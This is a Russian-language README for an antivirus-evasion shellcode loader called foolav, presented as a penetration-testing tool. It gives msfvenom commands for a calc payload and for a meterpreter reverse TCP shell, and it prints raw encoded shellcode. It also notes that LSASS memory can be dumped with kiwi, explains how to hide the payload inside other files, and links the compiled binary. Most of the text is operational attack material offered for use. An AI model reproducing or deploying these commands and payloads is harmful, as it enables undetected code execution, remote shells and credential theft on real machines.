
Инструмент для пентеста по обходу антивирусов и запуску произвольной нагрузки на целевой системе Wintel
Исполняемый файл, скомпилированный с этим кодом, полезен во время тестов на проникновение, когда необходимо выполнить полезную нагрузку (возможно, meterpreter?), будучи уверенным, что она не будет обнаружена антивирусным программным обеспечением. Единственное требование — возможность загрузить два файла: binary executable и payload file в одну директорию.
подготовьте вашу полезную нагрузку (x86), например:
calc: msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf (вам не обязательно использовать какой-либо кодировщик или черный список символов, это всё равно сработает)
meterpreter: msfvenom -p windows/meterpreter_reverse_tcp LHOST=... -a x86 -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf
скопируйте файл полезной нагрузки [executable-name-without-exe-extension].mf в ту же директорию, что и исполняемый файл
полезная нагрузка, запускающая calc.exe, сгенерированная с помощью вышеуказанной команды:
# calc.exe
\xbb\x28\x30\x85\x5b\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x5a\x0e\x03\x72\x3e\x67\xae\x7e\xd6\xee\x51\x7e\x27\x91\xd8\x9b\x16\x83\xbf\xe8\x0b\x13\xcb\xbc\xa7\xd8\x99\x54\x33\xac\x35\x5b\xf4\x1b\x60\x52\x05\xaa\xac\x38\xc5\xac\x50\x42\x1a\x0f\x68\x8d\x6f\x4e\xad\xf3\x80\x02\x66\x78\x32\xb3\x03\x3c\x8f\xb2\xc3\x4b\xaf\xcc\x66\x8b\x44\x67\x68\xdb\xf5\xfc\x22\xc3\x7e\x5a\x93\xf2\x53\xb8\xef\xbd\xd8\x0b\x9b\x3c\x09\x42\x64\x0f\x75\x09\x5b\xa0\x78\x53\x9b\x06\x63\x26\xd7\x75\x1e\x31\x2c\x04\xc4\xb4\xb1\xae\x8f\x6f\x12\x4f\x43\xe9\xd1\x43\x28\x7d\xbd\x47\xaf\x52\xb5\x73\x24\x55\x1a\xf2\x7e\x72\xbe\x5f\x24\x1b\xe7\x05\x8b\x24\xf7\xe1\x74\x81\x73\x03\x60\xb3\xd9\x49\x77\x31\x64\x34\x77\x49\x67\x16\x10\x78\xec\xf9\x67\x85\x27\xbe\x88\x67\xe2\xca\x20\x3e\x67\x77\x2d\xc1\x5d\xbb\x48\x42\x54\x43\xaf\x5a\x1d\x46\xeb\xdc\xcd\x3a\x64\x89\xf1\xe9\x85\x98\x91\x6c\x16\x40\x78\x0b\x9e\xe3\x84
после запуска исполняемого файла файл полезной нагрузки будет разобран, загружен в отдельный поток и выполнен в памяти:

x86-двоичный файл будет работать как на x86, так и на x86_64 системах Windows. Тем не менее, вам нужно использовать полезные нагрузки архитектуры x86. Однако полезная нагрузка x86 meterpreter может быть перенесена в процессы x86_64. После этого load kiwi загрузит версию x86_64, что даст возможность получить доступ к сочным содержимым памяти процесса LSASS :)

Файл полезной нагрузки .mf можно запутать — парсер будет игнорировать все символы, кроме шестнадцатеричных последовательностей \xHH. Это означает, что вы можете добавить свою полезную нагрузку практически к любому файлу, спрятать её между строк или даже добавить собственные комментарии, пример:

https://github.com/hvqzao/foolav/releases/download/v1.0/foolav.zip